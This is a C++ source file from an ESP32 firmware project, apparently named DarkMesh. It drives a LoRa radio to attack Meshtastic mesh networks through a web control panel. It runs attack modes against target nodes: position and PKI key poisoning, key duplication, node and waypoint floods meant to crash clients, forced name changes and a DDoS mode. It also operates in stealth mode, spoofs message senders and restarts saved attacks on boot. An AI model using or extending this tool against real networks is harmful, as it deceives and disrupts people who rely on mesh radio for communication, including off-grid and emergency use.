mirror of
https://github.com/htotoo/DarkMesh.git
synced 2026-07-17 17:42:22 +00:00
436 lines
20 KiB
C++
436 lines
20 KiB
C++
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <inttypes.h>
|
|
#include "sdkconfig.h"
|
|
#include "freertos/FreeRTOS.h"
|
|
#include "freertos/task.h"
|
|
#include "esp_system.h"
|
|
#include "esp_wifi.h"
|
|
#include "esp_event.h"
|
|
#include "nvs_flash.h"
|
|
#include "esp_log.h"
|
|
#include "mdns.h"
|
|
|
|
#include "esp_random.h"
|
|
#include "MtCompact.hpp"
|
|
#include "webserver.h"
|
|
#include "TMAttack.hpp"
|
|
#include "settings.hpp"
|
|
|
|
static const char* TAG = "DarkMesh";
|
|
|
|
static const char* ssid = "DarkMesh";
|
|
static const char* password = "1234Dark";
|
|
|
|
extern "C" {
|
|
void app_main();
|
|
}
|
|
TMAttack tmAttack;
|
|
TConfig config;
|
|
|
|
Radio_PINS radio_pins = {9, 11, 10, 8, 14, 12, 13}; // Default radio pins for Heltec WSL V3.
|
|
LoraConfig lora_config = {
|
|
/*.frequency = */ 869.525, // config
|
|
/*.bandwidth = */ 250, // config
|
|
/*.spreading_factor = */ 9, // config
|
|
/*.coding_rate = */ 5, // config
|
|
/*.sync_word = */ 0x2b,
|
|
/*.preamble_length = */ 16,
|
|
/*.output_power = */ 22, // config
|
|
/*.tcxo_voltage = */ 1.8,
|
|
/*.use_regulator_ldo = */ false,
|
|
}; // default LoRa configuration for EU LONGFAST 433
|
|
uint8_t default_chanhash = 8;
|
|
MtCompact mtCompact;
|
|
void load_attack();
|
|
void initialize_mdns(void) {
|
|
esp_err_t err = mdns_init();
|
|
if (err) {
|
|
ESP_LOGE(TAG, "mDNS initialization failed: %s", esp_err_to_name(err));
|
|
return;
|
|
}
|
|
// Set the hostname -> Resolves to "darkmesh.local"
|
|
mdns_hostname_set("darkmesh");
|
|
mdns_instance_name_set("Darkmesh Network Node");
|
|
ESP_LOGI(TAG, "mDNS initialized. You can now ping darkmesh.local");
|
|
}
|
|
static void mdns_ip_event_handler(void* arg, esp_event_base_t event_base, int32_t event_id, void* event_data) {
|
|
if (event_base == IP_EVENT && event_id == IP_EVENT_STA_GOT_IP) {
|
|
ESP_LOGI("mdns_hook", "Network is ready. Starting mDNS...");
|
|
ip_event_got_ip_t* event = (ip_event_got_ip_t*)event_data;
|
|
ESP_LOGI("mdns_hook", "STA IP is: " IPSTR, IP2STR(&event->ip_info.ip));
|
|
initialize_mdns();
|
|
}
|
|
}
|
|
void sendDebugMessage(const std::string& message) {
|
|
std::string safe_text = message;
|
|
std::replace(safe_text.begin(), safe_text.end(), '"', '\'');
|
|
std::string json = "{ \"type\":\"debug\", \"message\":\"" + safe_text + "\" }";
|
|
ws_sendall((uint8_t*)json.c_str(), json.length(), true);
|
|
ESP_LOGI("DEBUG", "%s", message.c_str());
|
|
}
|
|
|
|
void generateAndSendNodeElementToWs(MCT_NodeInfo& nodeinfo) {
|
|
if (nodeinfo.node_id == 0) return;
|
|
MCT_Position pos;
|
|
if (!mtCompact.nodeinfo_db.getPosition(nodeinfo.node_id, pos)) {
|
|
pos.latitude_i = 0;
|
|
pos.longitude_i = 0;
|
|
}
|
|
if (!pos.has_latitude_i || !pos.has_longitude_i) {
|
|
pos.latitude_i = 0;
|
|
pos.longitude_i = 0;
|
|
}
|
|
std::string json = "{ \"type\": \"node_update\", \"nodes\": [ { \"id\": \"" + std::string(nodeinfo.id) + "\", \"ls\": " + std::to_string(nodeinfo.last_updated / 1000) + ", \"name\": \"" + nodeinfo.short_name + "\", \"pos\": { \"lat\": " + std::to_string(pos.latitude_i) + ", \"lon\": " + std::to_string(pos.longitude_i) + " } } ]}";
|
|
ws_sendall((uint8_t*)json.c_str(), json.length(), true);
|
|
}
|
|
|
|
void app_main(void) {
|
|
ESP_ERROR_CHECK(nvs_flash_init());
|
|
ESP_ERROR_CHECK(esp_netif_init());
|
|
ESP_ERROR_CHECK(esp_event_loop_create_default());
|
|
esp_netif_create_default_wifi_ap();
|
|
esp_event_handler_instance_register(IP_EVENT,
|
|
IP_EVENT_STA_GOT_IP,
|
|
&mdns_ip_event_handler,
|
|
NULL,
|
|
NULL);
|
|
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
|
|
ESP_ERROR_CHECK(esp_wifi_init(&cfg));
|
|
|
|
wifi_config_t ap_config = {};
|
|
strcpy((char*)ap_config.ap.ssid, ssid);
|
|
ap_config.ap.ssid_len = strlen(ssid);
|
|
strcpy((char*)ap_config.ap.password, password);
|
|
ap_config.ap.max_connection = 4;
|
|
ap_config.ap.authmode = (strlen(password) == 0) ? WIFI_AUTH_OPEN : WIFI_AUTH_WPA_WPA2_PSK;
|
|
|
|
bool wifi_sta = config.load_wifi();
|
|
|
|
if (wifi_sta) {
|
|
ESP_LOGI(TAG, "WiFi STA mode enabled. Target SSID: %s", config.sta_ssid.c_str());
|
|
esp_netif_create_default_wifi_sta();
|
|
wifi_config_t sta_config = {};
|
|
strcpy((char*)sta_config.sta.ssid, config.sta_ssid.c_str());
|
|
strcpy((char*)sta_config.sta.password, config.sta_password.c_str());
|
|
|
|
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
|
|
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &ap_config));
|
|
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_STA, &sta_config));
|
|
} else {
|
|
ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_AP));
|
|
ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &ap_config));
|
|
}
|
|
|
|
ESP_ERROR_CHECK(esp_wifi_start());
|
|
ESP_LOGI(TAG, "WiFi hardware started.");
|
|
|
|
if (wifi_sta) {
|
|
ESP_ERROR_CHECK(esp_wifi_connect());
|
|
ESP_LOGI(TAG, "Connecting to AP...");
|
|
}
|
|
|
|
init_httpd();
|
|
ESP_LOGI(TAG, "Loading radio config.");
|
|
config.load_radio(lora_config);
|
|
mtCompact.loadNodeDb();
|
|
mtCompact.setOkToMqtt(false);
|
|
ESP_LOGI(TAG, "Radio initializing...");
|
|
mtCompact.RadioInit(RadioType::SX1262, radio_pins, lora_config);
|
|
ESP_LOGI(TAG, "Radio initialized.");
|
|
mtCompact.setAutoFullNode(false); // we don't want to be a full node
|
|
mtCompact.setSendHopLimit(7); // max hop limit
|
|
mtCompact.setStealthMode(true); // stealth mode, we don't
|
|
mtCompact.setSendEnabled(true); // we want to send packets
|
|
mtCompact.setOnNodeInfoMessage([](MCT_Header& header, MCT_NodeInfo& nodeinfo, bool needReply, bool newNode) {
|
|
generateAndSendNodeElementToWs(nodeinfo);
|
|
if (newNode) {
|
|
mtCompact.saveNodeDb();
|
|
}
|
|
});
|
|
mtCompact.setOnPositionMessage([](MCT_Header& header, MCT_Position& pos, bool needReply) {
|
|
MCT_NodeInfo* nodeinfo = mtCompact.nodeinfo_db.get(header.srcnode);
|
|
if (nodeinfo) generateAndSendNodeElementToWs(*nodeinfo);
|
|
});
|
|
mtCompact.setOnMessage([](MCT_Header& header, MCT_TextMessage& message) {
|
|
MCT_NodeInfo* nodeinfo = mtCompact.nodeinfo_db.get(header.srcnode);
|
|
std::string sender;
|
|
if (nodeinfo) {
|
|
sender = nodeinfo->short_name;
|
|
} else {
|
|
char hexbuf[11];
|
|
snprintf(hexbuf, sizeof(hexbuf), "0x%08" PRIx32, header.srcnode);
|
|
sender = hexbuf;
|
|
}
|
|
sendDebugMessage("Message from " + sender + ": " + message.text);
|
|
});
|
|
mtCompact.setOnTelemetryDevice([](MCT_Header& header, MCT_Telemetry_Device& telemetry) {
|
|
sendDebugMessage("Telemetry from 0x" + std::to_string(header.srcnode) + ": uptime=" + std::to_string(telemetry.uptime_seconds) + "s, voltage=" + std::to_string(telemetry.voltage) + "V, battery=" + std::to_string(telemetry.battery_level) + "%, channel_utilization=" + std::to_string(telemetry.channel_utilization) + "%");
|
|
});
|
|
mtCompact.setOnTelemetryEnvironment([](MCT_Header& header, MCT_Telemetry_Environment& telemetry) {
|
|
sendDebugMessage("Environment from 0x" + std::to_string(header.srcnode) + ": temperature=" + std::to_string(telemetry.temperature) + "C, humidity=" + std::to_string(telemetry.humidity) + "%, pressure=" + std::to_string(telemetry.pressure) + "hPa, lux=" + std::to_string(telemetry.lux) + "");
|
|
});
|
|
mtCompact.setOnTraceroute([](MCT_Header& header, MCT_RouteDiscovery& route, bool for_me, bool is_reply, bool need_reply) {
|
|
sendDebugMessage("Traceroute from 0x" + std::to_string(header.srcnode) + ": route_count=" + std::to_string(route.route_count) + ", for_me=" + std::to_string(for_me) + ", is_reply=" + std::to_string(is_reply));
|
|
});
|
|
mtCompact.setPrimaryChanByHash(default_chanhash); // should be a saved parameter
|
|
|
|
tmAttack.setRadio(&mtCompact);
|
|
|
|
std::string short_name = "DMS"; // short name
|
|
std::string long_name = "DMS"; // long name
|
|
MtCompactHelpers::NodeInfoBuilder(mtCompact.getMyNodeInfo(), 0x849b94b4, short_name, long_name, 1); // random nodeinfo
|
|
|
|
MtCompactHelpers::GeneratePrivateKey(*mtCompact.getMyNodeInfo());
|
|
uint32_t timer = 0; // 0.1 second timer
|
|
// tmAttack.setAttackType(AttackType::DDOS);
|
|
load_attack();
|
|
while (1) {
|
|
timer++;
|
|
tmAttack.loop();
|
|
vTaskDelay(pdMS_TO_TICKS(100)); // wait 100 milliseconds
|
|
}
|
|
}
|
|
|
|
uint32_t getNodeIdFromCh(const char* source_id) {
|
|
uint32_t srcnode = 0xfffffff; // default all
|
|
const char* hexstr = (*source_id == '!') ? source_id + 1 : source_id;
|
|
char* endptr; // To check if the whole string was converted
|
|
errno = 0; // Reset errno before the call
|
|
unsigned long value = strtoul(hexstr, &endptr, 16);
|
|
if (endptr != hexstr && *endptr == '\0' && errno != ERANGE && value <= 0xFFFFFFFF) {
|
|
srcnode = (uint32_t)value;
|
|
}
|
|
return srcnode;
|
|
}
|
|
|
|
void save_attack_stopped() {
|
|
nvs_handle_t handle;
|
|
esp_err_t err = nvs_open("attack_cfg", NVS_READWRITE, &handle);
|
|
if (err != ESP_OK) return;
|
|
nvs_set_str(handle, "attack_type", "");
|
|
nvs_commit(handle);
|
|
nvs_close(handle);
|
|
}
|
|
|
|
void save_attack(const char* attack_type, JSON_Object* params) {
|
|
ESP_LOGI("WEB", "Saving attack configuration: %s", attack_type);
|
|
bool autostart = json_object_get_number(params, "autostart") == 1;
|
|
nvs_handle_t handle;
|
|
esp_err_t err = nvs_open("attack_cfg", NVS_READWRITE, &handle);
|
|
if (err != ESP_OK) return;
|
|
nvs_set_str(handle, "attack_type", autostart ? attack_type : "");
|
|
JSON_Value* params_value = json_object_get_wrapping_value(params);
|
|
size_t required_size = json_serialization_size(params_value);
|
|
if (required_size > 0) {
|
|
uint8_t buffer[1024];
|
|
if (required_size <= sizeof(buffer)) {
|
|
json_serialize_to_buffer(params_value, (char*)buffer, sizeof(buffer));
|
|
|
|
nvs_set_blob(handle, "params", buffer, required_size);
|
|
} else {
|
|
ESP_LOGW("WEB", "JSON parameters too large to save");
|
|
}
|
|
}
|
|
nvs_commit(handle);
|
|
nvs_close(handle);
|
|
}
|
|
|
|
void handle_start_attack(const char* attack_type, JSON_Object* params) {
|
|
ESP_LOGI("WEB", "Handling 'start_attack': %s", attack_type);
|
|
uint32_t ai = 10;
|
|
if (params != NULL) {
|
|
ai = (uint32_t)json_object_get_number(params, "interval");
|
|
if (ai < 10) ai = 10;
|
|
if (ai > 7200) ai = 7200;
|
|
tmAttack.setAttackDelay(ai);
|
|
ESP_LOGI("WEB", "Attack interval set to %lu seconds", ai);
|
|
// get mqtt
|
|
int mqtt = (int)json_object_get_number(params, "mqtt");
|
|
mtCompact.setOkToMqtt(mqtt == 1);
|
|
ESP_LOGI("WEB", "Attack MQTT sending set to %s", mqtt == 1 ? "enabled" : "disabled");
|
|
uint8_t chanhash = (uint8_t)json_object_get_number(params, "chanhash");
|
|
|
|
mtCompact.setPrimaryChanByHash(chanhash);
|
|
ESP_LOGI("WEB", "Attack channel set to hash %d", chanhash);
|
|
|
|
save_attack(attack_type, params);
|
|
}
|
|
if (strcmp(attack_type, "pos_poison") == 0 && params != NULL) {
|
|
double min_lat = json_object_get_number(params, "min_lat");
|
|
double max_lat = json_object_get_number(params, "max_lat");
|
|
double min_lon = json_object_get_number(params, "min_lon");
|
|
double max_lon = json_object_get_number(params, "max_lon");
|
|
const char* target_id = json_object_get_string(params, "target_id");
|
|
ESP_LOGI("WEB", "Position Poisoning Attack Params: min_lat=%.6f, max_lat=%.6f, min_lon=%.6f, max_lon=%.6f", min_lat, max_lat, min_lon, max_lon);
|
|
tmAttack.setPosParams(min_lat, max_lat, min_lon, max_lon);
|
|
tmAttack.setTarget(getNodeIdFromCh(target_id));
|
|
tmAttack.setAttackType(AttackType::POS_POISON);
|
|
|
|
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pos_poison\"}";
|
|
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
|
|
}
|
|
if (strcmp(attack_type, "node_flood") == 0 && params != NULL) {
|
|
// const char* target_id = json_object_get_string(params, "target_id");
|
|
// ESP_LOGI("WEB", "Node Flood Attack Params: target_id=%s", target_id);
|
|
// tmAttack.setTarget(getNodeIdFromCh(target_id));
|
|
double min_lat = json_object_get_number(params, "min_lat");
|
|
double max_lat = json_object_get_number(params, "max_lat");
|
|
double min_lon = json_object_get_number(params, "min_lon");
|
|
double max_lon = json_object_get_number(params, "max_lon");
|
|
uint8_t crashclient = (uint8_t)json_object_get_number(params, "crashclient");
|
|
tmAttack.setPosParams(min_lat, max_lat, min_lon, max_lon);
|
|
tmAttack.setFloodClientCrash(crashclient);
|
|
tmAttack.setAttackType(AttackType::NODE_FLOOD);
|
|
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"node_flood\"}";
|
|
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
|
|
}
|
|
if (strcmp(attack_type, "name_change") == 0 && params != NULL) {
|
|
const char* target_id = json_object_get_string(params, "target_id");
|
|
const char* emoji = json_object_get_string(params, "emoji");
|
|
ESP_LOGI("WEB", "Name Change Attack Params: target_id=%s, emoji=%s", target_id, emoji);
|
|
tmAttack.setTarget(getNodeIdFromCh(target_id));
|
|
tmAttack.setEmoji(emoji);
|
|
tmAttack.setAttackType(AttackType::NAME_CHANGE);
|
|
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"name_change\"}";
|
|
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
|
|
}
|
|
if (strcmp(attack_type, "pki_poison") == 0 && params != NULL) {
|
|
const char* target_id = json_object_get_string(params, "target_id");
|
|
ESP_LOGI("WEB", "PKI Poison Attack Params: target_id=%s", target_id);
|
|
tmAttack.setTarget(getNodeIdFromCh(target_id));
|
|
tmAttack.setAttackType(AttackType::PKI_POISON);
|
|
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_poison\"}";
|
|
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
|
|
}
|
|
if (strcmp(attack_type, "ddos") == 0) {
|
|
tmAttack.setAttackType(AttackType::DDOS);
|
|
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"ddos\"}";
|
|
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
|
|
}
|
|
if (strcmp(attack_type, "pki_dupe") == 0 && params != NULL) {
|
|
const char* target_id = json_object_get_string(params, "target_id");
|
|
ESP_LOGI("WEB", "PKI Duplication Attack Params: target_id=%s", target_id);
|
|
tmAttack.setTarget(getNodeIdFromCh(target_id));
|
|
tmAttack.setAttackType(AttackType::PKI_DUPE);
|
|
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"pki_dupe\"}";
|
|
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
|
|
}
|
|
if (strcmp(attack_type, "waypoint_flood") == 0 && params != NULL) {
|
|
const char* target_id = json_object_get_string(params, "target_id");
|
|
ESP_LOGI("WEB", "Waypoint Flood Attack Params: target_id=%s", target_id);
|
|
tmAttack.setTarget(getNodeIdFromCh(target_id)); // not target, but souerce of flood
|
|
tmAttack.setAttackType(AttackType::WAYPOINT_FLOOD);
|
|
double min_lat = json_object_get_number(params, "min_lat");
|
|
double max_lat = json_object_get_number(params, "max_lat");
|
|
double min_lon = json_object_get_number(params, "min_lon");
|
|
double max_lon = json_object_get_number(params, "max_lon");
|
|
uint8_t crashclient = (uint8_t)json_object_get_number(params, "crashclient");
|
|
tmAttack.setFloodClientCrash(crashclient);
|
|
tmAttack.setPosParams(min_lat, max_lat, min_lon, max_lon);
|
|
std::string wsmsg = "{\"type\":\"status_update\", \"current_attack\":\"waypoint_flood\"}";
|
|
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
|
|
}
|
|
}
|
|
|
|
void load_attack() {
|
|
nvs_handle_t handle;
|
|
esp_err_t err = nvs_open("attack_cfg", NVS_READONLY, &handle);
|
|
if (err != ESP_OK) return;
|
|
char tmpstr[64] = {0};
|
|
size_t tmpstrlen = sizeof(tmpstr);
|
|
err = nvs_get_str(handle, "attack_type", tmpstr, &tmpstrlen);
|
|
if (err != ESP_OK || tmpstrlen <= 2) {
|
|
nvs_close(handle);
|
|
return;
|
|
}
|
|
uint8_t blob[1024] = {0};
|
|
size_t blob_size = sizeof(blob);
|
|
err = nvs_get_blob(handle, "params", blob, &blob_size);
|
|
if (err != ESP_OK || blob_size == 0) {
|
|
nvs_close(handle);
|
|
return;
|
|
}
|
|
JSON_Value* root_value = json_parse_string((const char*)blob);
|
|
if (root_value == NULL) {
|
|
nvs_close(handle);
|
|
return;
|
|
}
|
|
handle_start_attack(tmpstr, json_value_get_object(root_value));
|
|
json_value_free(root_value);
|
|
nvs_close(handle);
|
|
}
|
|
|
|
void handle_set_config(JSON_Object* params) {
|
|
ESP_LOGI("WEB", "Handling 'set_config'");
|
|
double frequency = json_object_get_number(params, "frequency");
|
|
double bandwidth = json_object_get_number(params, "bandwidth");
|
|
double sf = json_object_get_number(params, "spreading_factor");
|
|
double cr = json_object_get_number(params, "coding_rate");
|
|
double power = json_object_get_number(params, "power");
|
|
uint8_t chanhash = (uint8_t)json_object_get_number(params, "chanhash");
|
|
ESP_LOGI("WEB", "Config: Freq=%.1f, BW=%.1f, SF=%.0f, CR=%.0f, Power=%.0f", frequency, bandwidth, sf, cr, power);
|
|
mtCompact.setRadioFrequency(frequency);
|
|
mtCompact.setRadioBandwidth(bandwidth);
|
|
mtCompact.setRadioSpreadingFactor(static_cast<uint8_t>(sf));
|
|
mtCompact.setRadioCodingRate(static_cast<uint8_t>(cr));
|
|
mtCompact.setRadioPower(static_cast<int8_t>(power));
|
|
mtCompact.setPrimaryChanByHash(chanhash);
|
|
default_chanhash = chanhash;
|
|
lora_config.frequency = frequency;
|
|
lora_config.bandwidth = bandwidth;
|
|
lora_config.spreading_factor = static_cast<uint8_t>(sf);
|
|
lora_config.coding_rate = static_cast<uint8_t>(cr);
|
|
lora_config.output_power = static_cast<int8_t>(power);
|
|
config.save_radio(lora_config);
|
|
sendDebugMessage("Radio configuration updated.");
|
|
}
|
|
|
|
void handle_stop_attack() {
|
|
tmAttack.setAttackType(AttackType::NONE);
|
|
ESP_LOGI("WEB", "Handling 'stop_attack'");
|
|
std::string wsmsg = "{\"type\":\"status_update\"}";
|
|
save_attack_stopped();
|
|
ws_sendall((uint8_t*)wsmsg.c_str(), wsmsg.length(), true);
|
|
}
|
|
|
|
void handle_send_message(const char* source_id, const char* message) {
|
|
ESP_LOGI("WEB", "Handling 'send_message' from %s: %s", source_id, message);
|
|
uint32_t srcnode = getNodeIdFromCh(source_id);
|
|
mtCompact.sendTextMessage(std::string(message), 0xffffffff, 8, MCT_MESSAGE_TYPE_TEXT, srcnode, 0, false, 1);
|
|
sendDebugMessage("Sent message.");
|
|
}
|
|
|
|
void handle_set_wifi_sta(const char* ssid, const char* password, int channel) {
|
|
ESP_LOGI("WEB", "Handling 'set_wifi_sta': SSID=%s, Password=%s, Channel=%d", ssid, password, channel);
|
|
config.sta_ssid = ssid;
|
|
config.sta_password = password;
|
|
config.channel = channel;
|
|
config.save_wifi();
|
|
sendDebugMessage("WiFi STA configuration updated. Restart to apply changes.");
|
|
}
|
|
|
|
void handle_initme() {
|
|
ESP_LOGI("WEB", "Handling 'initme'");
|
|
// sending all nodes to web
|
|
for (auto& nodeinfo : mtCompact.nodeinfo_db) {
|
|
if (!nodeinfo.node_id) {
|
|
continue;
|
|
}
|
|
generateAndSendNodeElementToWs(nodeinfo);
|
|
vTaskDelay(pdMS_TO_TICKS(20)); // slight delay to avoid overwhelming the socket
|
|
}
|
|
// send current attack to web
|
|
std::string attack_json = "{ \"type\": \"status_update\", \"current_attack\": \"" + tmAttack.getCurrentAttackTypeString() + "\" }";
|
|
ws_sendall((uint8_t*)attack_json.c_str(), attack_json.length(), true);
|
|
vTaskDelay(pdMS_TO_TICKS(20));
|
|
// send radio config
|
|
std::string config_json = "{ \"type\": \"radio_config\", \"config\": { \"frequency\": " + std::to_string(lora_config.frequency) + ", \"bandwidth\": " + std::to_string(lora_config.bandwidth) + ", \"spreading_factor\": " + std::to_string(lora_config.spreading_factor) + ", \"coding_rate\": " + std::to_string(lora_config.coding_rate) + ", \"power\": " + std::to_string(lora_config.output_power) + ", \"chanhash\": " + std::to_string(default_chanhash) + " } }";
|
|
ws_sendall((uint8_t*)config_json.c_str(), config_json.length(), true);
|
|
vTaskDelay(pdMS_TO_TICKS(20));
|
|
// send wifi config
|
|
std::string wifi_json = "{ \"type\": \"wifi_sta_config\", \"config\": { \"ssid\": \"" + config.sta_ssid + "\", \"password\": \"" + config.sta_password + "\" } }";
|
|
ws_sendall((uint8_t*)wifi_json.c_str(), wifi_json.length(), true);
|
|
}
|